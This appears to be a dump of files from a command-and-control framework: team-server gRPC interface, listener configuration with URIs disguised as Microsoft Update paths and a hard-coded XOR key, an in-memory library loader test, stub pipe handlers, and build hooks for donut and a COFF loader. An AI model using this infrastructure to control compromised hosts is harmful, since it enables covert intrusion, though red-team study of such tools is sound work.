add_executable(TestsMemoryModule "Tests.cpp" ) 2 | set_property(TARGET TestsMemoryModule PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 3 | target_link_libraries(TestsMemoryModule MemoryModule ) 4 | 5 | 6 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/tests/Tests.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "MemoryModule.h" 4 | 5 | typedef void* (*constructProc)(); 6 | 7 | 8 | // g++ -fPIC -shared ./libtest.cpp -o libtest.so 9 | int main() 10 | { 11 | std::string inputFile = "libtest.so"; 12 | 13 | std::ifstream input; 14 | input.open(inputFile, std::ios::binary); 15 | 16 | if( input ) 17 | { 18 | std::string buffer(std::istreambuf_iterator(input), {}); 19 | 20 | void* handle = NULL; 21 | handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size()); 22 | if (handle == NULL) 23 | { 24 | return false; 25 | } 26 | 27 | std::string funcName = "TestConstructor"; 28 | 29 | constructProc construct; 30 | construct = (constructProc)MemoryGetProcAddress(handle, funcName.c_str()); 31 | if(construct == NULL) 32 | { 33 | return false; 34 | } 35 | 36 | construct(); 37 | 38 | MemoryFreeLibrary(handle); 39 | 40 | return true; 41 | } 42 | 43 | return false; 44 | } -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/tests/libtest.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // g++ -fPIC -shared ./libtest.cpp -o libtest.so 4 | 5 | class Test 6 | { 7 | public: 8 | Test(); 9 | ~Test(); 10 | }; 11 | 12 | 13 | #ifdef _WIN32 14 | extern "C" __declspec(dllexport) Test * TestConstructor(); 15 | #else 16 | extern "C" __attribute__((visibility("default"))) Test * TestConstructor(); 17 | #endif 18 | 19 | 20 | #ifdef _WIN32 21 | __declspec(dllexport) Test* TestConstructor() 22 | { 23 | return new Cat(); 24 | } 25 | #else 26 | __attribute__((visibility("default"))) Test* TestConstructor() 27 | { 28 | return new Test(); 29 | } 30 | #endif 31 | 32 | 33 | Test::Test() 34 | { 35 | std::cout << "Test Constructor" << std::endl; 36 | } 37 | 38 | 39 | Test::~Test() 40 | { 41 | } 42 | 43 | -------------------------------------------------------------------------------- /libs/libPipeHandlerDumy/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24) 2 | project(PipeHandler VERSION 1.0.0 LANGUAGES CXX) 3 | 4 | set(DEFAULT_BUILD_TYPE "Release") 5 | set(CMAKE_CXX_STANDARD 14) 6 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 7 | 8 | set(SOURCE_FILES 9 | src/PipeHandler.cpp 10 | ) 11 | 12 | include_directories(../src) 13 | 14 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES}) 15 | target_include_directories(${PROJECT_NAME} PUBLIC src) 16 | -------------------------------------------------------------------------------- /libs/libPipeHandlerDumy/README.md: -------------------------------------------------------------------------------- 1 | # PipeHandler 2 | 3 | ## Requirement 4 | 5 | Client can connect and disconnect at any time. 6 | 7 | Server can connect and disconnect at any time. 8 | 9 | Multiple client should be able to connect to the same server. 10 | 11 | Client and Server are monothread. -------------------------------------------------------------------------------- /libs/libPipeHandlerDumy/src/PipeHandler.cpp: -------------------------------------------------------------------------------- 1 | #include "PipeHandler.hpp" 2 | 3 | 4 | using namespace PipeHandler; 5 | 6 | 7 | // https://learn.microsoft.com/en-us/windows/win32/ipc/multithreaded-pipe-server 8 | Server::Server(const std::string& pipeName) 9 | { 10 | m_pipeName="\\\\.\\pipe\\"; 11 | m_pipeName+=pipeName; 12 | } 13 | 14 | 15 | Server::~Server() 16 | { 17 | } 18 | 19 | 20 | bool Server::reset() 21 | { 22 | return true; 23 | } 24 | 25 | 26 | bool Server::initServer() 27 | { 28 | return true; 29 | } 30 | 31 | 32 | bool Server::sendData(std::string& data) 33 | { 34 | return true; 35 | } 36 | 37 | 38 | bool Server::receiveData(std::string& data) 39 | { 40 | return true; 41 | } 42 | 43 | 44 | // https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-client 45 | Client::Client(const std::string& ip, const std::string& pipeName) 46 | { 47 | 48 | } 49 | 50 | 51 | Client::~Client() 52 | { 53 | 54 | } 55 | 56 | 57 | bool Client::initConnection() 58 | { 59 | return true; 60 | } 61 | 62 | 63 | bool Client::closeConnection() 64 | { 65 | return true; 66 | } 67 | 68 | 69 | bool Client::reset() 70 | { 71 | return true; 72 | } 73 | 74 | 75 | bool Client::sendData(std::string& data) 76 | { 77 | return true; 78 | } 79 | 80 | 81 | bool Client::receiveData(std::string& data) 82 | { 83 | return true; 84 | } 85 | 86 | 87 | -------------------------------------------------------------------------------- /libs/libPipeHandlerDumy/src/PipeHandler.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | namespace PipeHandler 9 | { 10 | 11 | class Server 12 | { 13 | public: 14 | Server(const std::string& pipeName); 15 | ~Server(); 16 | 17 | bool initServer(); 18 | 19 | bool sendData(std::string& data); 20 | bool receiveData(std::string& data); 21 | 22 | private: 23 | bool reset(); 24 | 25 | bool m_isInit; 26 | 27 | std::string m_pipeName; 28 | }; 29 | 30 | 31 | 32 | class Client 33 | { 34 | public: 35 | Client(const std::string& ip, const std::string& pipeName); 36 | ~Client(); 37 | 38 | bool initConnection(); 39 | bool closeConnection(); 40 | 41 | bool sendData(std::string& data); 42 | bool receiveData(std::string& data); 43 | 44 | private: 45 | bool reset(); 46 | 47 | bool m_isInit; 48 | 49 | std::string m_pipeName; 50 | }; 51 | 52 | } 53 | -------------------------------------------------------------------------------- /majSubmodules.sh: -------------------------------------------------------------------------------- 1 | cd core && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - 2 | cd libs/libDns && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - 3 | cd libs/libSocketHandler && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - 4 | cd libs/libSocks5 && git config --global --add safe.directory $(pwd) && git fetch && git rebase origin/master && cd - -------------------------------------------------------------------------------- /teamServer/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | include_directories(../core) 3 | include_directories(../core/modules/ModuleCmd) 4 | 5 | set(SOURCES_TEAMSERVER 6 | teamServer/TeamServer.cpp 7 | ../core/listener/Listener.cpp 8 | ../core/listener/ListenerTcp.cpp 9 | ../core/listener/ListenerHttp.cpp 10 | ../core/listener/ListenerGithub.cpp 11 | ../core/listener/ListenerDns.cpp 12 | ../../thirdParty/base64/base64.cpp 13 | ) 14 | 15 | ## TeamServer 16 | add_executable(TeamServer ${SOURCES_TEAMSERVER}) 17 | if(WIN32) 18 | target_link_libraries(TeamServer Dnscommunication SocketHandler GrpcMessages openssl::openssl ${OPENSSL_CRYPTO_LIBRARY} ZLIB::ZLIB grpc::grpc spdlog::spdlog SocksServer) 19 | else() 20 | target_link_libraries(TeamServer Dnscommunication SocketHandler GrpcMessages pthread openssl::openssl ZLIB::ZLIB grpc::grpc spdlog::spdlog httplib::httplib SocksServer dl rt) 21 | endif() 22 | 23 | add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 24 | $ "${CMAKE_SOURCE_DIR}/Release/TeamServer/$") 25 | add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 26 | ${CMAKE_SOURCE_DIR}/teamServer/teamServer/TeamServerConfig.json "${CMAKE_SOURCE_DIR}/Release/TeamServer/TeamServerConfig.json") 27 | 28 | if(WITH_TESTS) 29 | add_executable(testsTestServer tests/testsTestServer.cpp ) 30 | target_link_libraries(testsTestServer ) 31 | 32 | add_custom_command(TARGET testsTestServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 33 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 34 | 35 | add_test(NAME testsTestServer COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 36 | endif() -------------------------------------------------------------------------------- /teamServer/teamServer/TeamServer.hpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "listener/ListenerTcp.hpp" 4 | #include "listener/ListenerHttp.hpp" 5 | #include "listener/ListenerGithub.hpp" 6 | #include "listener/ListenerDns.hpp" 7 | 8 | #include "modules/ModuleCmd/ModuleCmd.hpp" 9 | 10 | #include "SocksServer.hpp" 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "TeamServerApi.pb.h" 19 | #include "TeamServerApi.grpc.pb.h" 20 | 21 | #include "spdlog/spdlog.h" 22 | #include "spdlog/sinks/stdout_color_sinks.h" 23 | #include "spdlog/sinks/rotating_file_sink.h" 24 | #include "spdlog/sinks/basic_file_sink.h" 25 | 26 | #include "nlohmann/json.hpp" 27 | 28 | 29 | class TeamServer final : public teamserverapi::TeamServerApi::Service 30 | { 31 | 32 | public: 33 | explicit TeamServer(const nlohmann::json& config); 34 | ~TeamServer(); 35 | 36 | grpc::Status GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); 37 | grpc::Status AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response); 38 | grpc::Status StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response); 39 | 40 | grpc::Status GetSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); 41 | grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response); 42 | 43 | grpc::Status SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response); 44 | grpc::Status GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer); 45 | 46 | grpc::Status GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse); 47 | 48 | grpc::Status SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response); 49 | 50 | protected: 51 | int handleCmdResponse(); 52 | bool isListenerAlive(const std::string& listenerHash); 53 | int prepMsg(const std::string& input, C2Message& c2Message, bool isWindows=true); 54 | 55 | private: 56 | nlohmann::json m_config; 57 | 58 | std::shared_ptr m_logger; 59 | 60 | std::vector> m_listeners; 61 | nlohmann::json m_credentials = nlohmann::json::array(); 62 | 63 | std::vector> m_moduleCmd; 64 | CommonCommands m_commonCommands; 65 | 66 | std::string m_teamServerModulesDirectoryPath; 67 | std::string m_linuxModulesDirectoryPath; 68 | std::string m_windowsModulesDirectoryPath; 69 | std::string m_linuxBeaconsDirectoryPath; 70 | std::string m_windowsBeaconsDirectoryPath; 71 | std::string m_toolsDirectoryPath; 72 | std::string m_scriptsDirectoryPath; 73 | 74 | // Socks 75 | bool m_isSocksServerRunning; 76 | bool m_isSocksServerBinded; 77 | void socksThread(); 78 | 79 | std::unique_ptr m_socksServer; 80 | std::unique_ptr m_socksThread; 81 | std::shared_ptr m_socksListener; 82 | std::shared_ptr m_socksSession; 83 | 84 | bool m_handleCmdResponseThreadRuning; 85 | std::unique_ptr m_handleCmdResponseThread; 86 | std::vector m_cmdResponses; 87 | std::unordered_map> m_sentResponses; 88 | 89 | std::vector m_sentC2Messages; 90 | }; 91 | -------------------------------------------------------------------------------- /teamServer/teamServer/TeamServerConfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "//LogLevelValues": "trace, debug, info, warning, error, fatal", 3 | "LogLevel": "info", 4 | "TeamServerModulesDirectoryPath": "../TeamServerModules/", 5 | "LinuxModulesDirectoryPath": "../LinuxModules/", 6 | "WindowsModulesDirectoryPath": "../WindowsModules/", 7 | "LinuxBeaconsDirectoryPath": "../LinuxBeacons/", 8 | "WindowsBeaconsDirectoryPath": "../WindowsBeacons/", 9 | "ToolsDirectoryPath": "../Tools/", 10 | "ScriptsDirectoryPath": "../Scripts/", 11 | "//Host contacted by the beacon": "3 following value are related to the host, probably a proxy, that will be contacted by the beacon, if DomainName is filled it will be selected first, then the ExposedIp and then the IpInterface", 12 | "DomainName": "", 13 | "ExposedIp": "", 14 | "IpInterface": "eth0", 15 | "ServerGRPCAdd": "0.0.0.0", 16 | "ServerGRPCPort": "50051", 17 | "ServCrtFile": "server.crt", 18 | "ServKeyFile": "server.key", 19 | "RootCA": "rootCA.crt", 20 | "xorKey": "dfsdgferhzdzxczevre5595485sdg", 21 | "ListenerHttpConfig": { 22 | "uri": [ 23 | "/MicrosoftUpdate/ShellEx/KB242742/default.aspx", 24 | "/MicrosoftUpdate/ShellEx/KB242742/admin.aspx", 25 | "/MicrosoftUpdate/ShellEx/KB242742/download.aspx" 26 | ], 27 | "uriFileDownload": "/images/commun/1.084.4584/serv/", 28 | "downloadFolder": "../www", 29 | "server": { 30 | "headers": { 31 | "Access-Control-Allow-Origin": "true", 32 | "Connection": "Keep-Alive", 33 | "Content-Type": "application/json", 34 | "Server": "Server", 35 | "Strict-Transport-Security": "max-age=47474747; includeSubDomains; preload", 36 | "Vary": "Origin,Content-Type,Accept-Encoding,User-Agent" 37 | } 38 | } 39 | }, 40 | "ListenerHttpsConfig": { 41 | "ServHttpsListenerCrtFile": "localhost.crt", 42 | "ServHttpsListenerKeyFile": "localhost.key", 43 | "uri": [ 44 | "/MicrosoftUpdate/ShellEx/KB242742/default.aspx", 45 | "/MicrosoftUpdate/ShellEx/KB242742/upload.aspx", 46 | "/MicrosoftUpdate/ShellEx/KB242742/config.aspx" 47 | ], 48 | "uriFileDownload": "/images/commun/1.084.4584/serv/", 49 | "downloadFolder": "../www", 50 | "server": { 51 | "headers": { 52 | "Access-Control-Allow-Origin": "true", 53 | "Connection": "Keep-Alive", 54 | "Content-Type": "application/json", 55 | "Server": "Server", 56 | "Strict-Transport-Security": "max-age=47474747; includeSubDomains; preload", 57 | "Vary": "Origin,Content-Type,Accept-Encoding,User-Agent" 58 | } 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /teamServer/tests/testsTestServer.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | 5 | 6 | int main() 7 | { 8 | return 0; 9 | } -------------------------------------------------------------------------------- /thirdParty/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # donut 2 | file(COPY ${CMAKE_SOURCE_DIR}/thirdParty/donut DESTINATION ${CMAKE_BINARY_DIR}/thirdParty) 3 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/thirdParty/donut && make -f Makefile") 4 | set(Donut "${CMAKE_BINARY_DIR}/thirdParty/donut/lib/libdonut.a" PARENT_SCOPE) 5 | set(aplib64 "${CMAKE_BINARY_DIR}/thirdParty/donut/lib/aplib64.a" PARENT_SCOPE) 6 | 7 | ## coffLoader 8 | add_subdirectory(coffLoader) 9 | 10 | 11 | -------------------------------------------------------------------------------- /thirdParty/coffLoader/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_subdirectory(coffLoader) 2 | add_subdirectory(coffPacker) --------------------------------------------------------------------------------